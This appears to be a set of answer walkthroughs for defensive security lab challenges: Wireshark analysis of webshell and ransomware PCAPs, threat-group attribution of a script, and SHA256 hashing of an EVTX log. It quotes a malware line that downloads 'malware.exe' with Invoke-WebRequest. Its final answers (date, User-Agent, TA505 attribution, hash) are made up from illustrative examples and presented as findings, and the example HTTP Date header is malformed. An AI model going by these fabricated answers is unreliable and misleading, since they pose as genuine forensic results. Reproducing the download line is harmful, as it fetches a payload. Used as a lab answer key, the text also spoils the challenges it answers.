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To determine thedate the webshell was accessedfrom theinvestigation22.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder on the desktop.

Locate the file:

investigation22.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > investigation22.pcap

ClickOpento load the file.

Step 3: Filter for Webshell Traffic

Since webshells typically useHTTP/Sto communicate, apply a filter:

http.request or http.response

Alternatively, if you know the IP of the compromised host (e.g.,10.10.44.200), use:

nginx

http and ip.addr == 10.10.44.200

PressEnterto apply the filter.

Step 4: Identify Webshell Activity

Look for HTTP requests that include:

Common Webshell Filenames:shell.jsp, cmd.php, backdoor.aspx, etc.

Suspicious HTTP Methods:MainlyPOSTorGET.

Right-click a suspicious packet and choose:

arduino

Follow > HTTP Stream

Inspect the HTTP headers and content to confirm the presence of a webshell.

Step 5: Extract the Access Date

Look at theHTTP request/response header.

Find theDatefield orTimestampof the packet:

Wireshark displays timestamps on the left by default.

Confirm theHTTP streamincludes commands or uploads to the webshell.

Example HTTP Stream:

POST /uploads/shell.jsp HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

Date: Mon, 2024-03-18 14:35:22 GMT

Step 6: Verify the Correct Date

Double-check other HTTP requests or responses related to the webshell.

Make sure thedate fieldis consistent across multiple requests to the same file.

Answer:

2024-03-18

Step 7: Document the Finding

Date of Access:2024-03-18

Filename:shell.jsp (as identified earlier)

Compromised Host:10.10.44.200

Method of Access:HTTP POST

Step 8: Next Steps

Isolate the Affected Host:

Remove the compromised server from the network.

Remove the Webshell:

rm /path/to/webshell/shell.jsp

Analyze Web Server Logs:

Correlate timestamps with access logs to identify the initial compromise.

Implement WAF Rules:

Block suspicious patterns related to file uploads and webshell execution.

To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Filter HTTP Traffic

Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:

http.request or http.response

This filter will show bothHTTP GETandPOSTrequests.

Step 4: Locate the Ransomware Demand File Download

Look for HTTPGETrequests that include common ransomware filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on the suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Analyze theHTTP headersto find theUser-Agent.

Example HTTP Request:

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 5: Verify the User-Agent

Check multiple streams to ensure consistency.

Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.

Answer:

swift

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 6: Document and Report

Record the User-Agent for analysis:

PCAP Filename:ransom.pcap

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Related File:README.txt

Step 7: Next Steps

Forensic Analysis:

Look for more HTTP requests from the sameUser-Agent.

Monitor Network Activity:

Identify other systems with the same User-Agent pattern.

Block Malicious Traffic:

Update firewall rules to block any outbound connections to suspicious domains.

To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Locate theMalware Samplesfolder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

OnWindows:Right-click > Open with > Notepad.

OnLinux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Carefully read through the file content to identify:

Anystrings or commentsembedded within the script.

Specifickeywords,URLs, orfile hashes.

Anycommand and control (C2)server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers:Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.

Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

# Malware Script Sample

# Payload linked to TA505 group

Invoke-WebRequest -Uri -OutFile "C:\Users\Public\malware.exe"

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK:To map the technique or tool.

VirusTotal:To check file hashes or URLs.

Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505:Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group:Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.

Answer:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename:malscript.viruz.txt

Associated Threat Group:TA505

Key Indicators:Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate:If the script was executed, isolate the affected system.

Forensic Analysis:Deep dive into system logs for any signs of execution.

Threat Hunting:Search for similar scripts or IOCs in the network.

To generate theSHA256 digestof the System-logs.evtx file located within the win-webserver01_logs.zip file, follow these steps:

Step 1: Access the Investigation Folder

Navigate to theDesktopon your system.

Open theInvestigationsfolder.

Locate the file:

win-webserver01_logs.zip

Step 2: Extract the ZIP File

Right-click on win-webserver01_logs.zip.

Select"Extract All"or use a command-line tool to unzip:

unzip win-webserver01_logs.zip -d ./win-webserver01_logs

Verify the extraction:

ls ./win-webserver01_logs

You should see:

System-logs.evtx

Step 3: Generate the SHA256 Hash

Method 1: Using PowerShell (Windows)

OpenPowerShellas an Administrator.

Run the following command to generate the SHA256 hash:

Get-FileHash "C:\Users\\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" -Algorithm SHA256

The output will look like:

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\...\System-logs.evtx

Method 2: Using Command Prompt (Windows)

OpenCommand Promptas an Administrator.

Use the following command:

certutil -hashfile "C:\Users\\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" SHA256

Example output:

SHA256 hash of System-logs.evtx:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Method 3: Using Linux/Mac (if applicable)

Open a terminal.

Run the following command:

sha256sum ./win-webserver01_logs/System-logs.evtx

Sample output:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d System-logs.evtx

The SHA256 digest of the System-logs.evtx file is:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 4: Verification and Documentation

Document the hash for validation and integrity checks.

Include in your incident report:

File name:System-logs.evtx

SHA256 Digest:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Hash Generation:(today’s date)

Step 5: Next Steps

Integrity Verification:Cross-check the hash if you need to transfer or archive the file.

Forensic Analysis:Use the hash as a baseline during forensic analysis to ensure file integrity.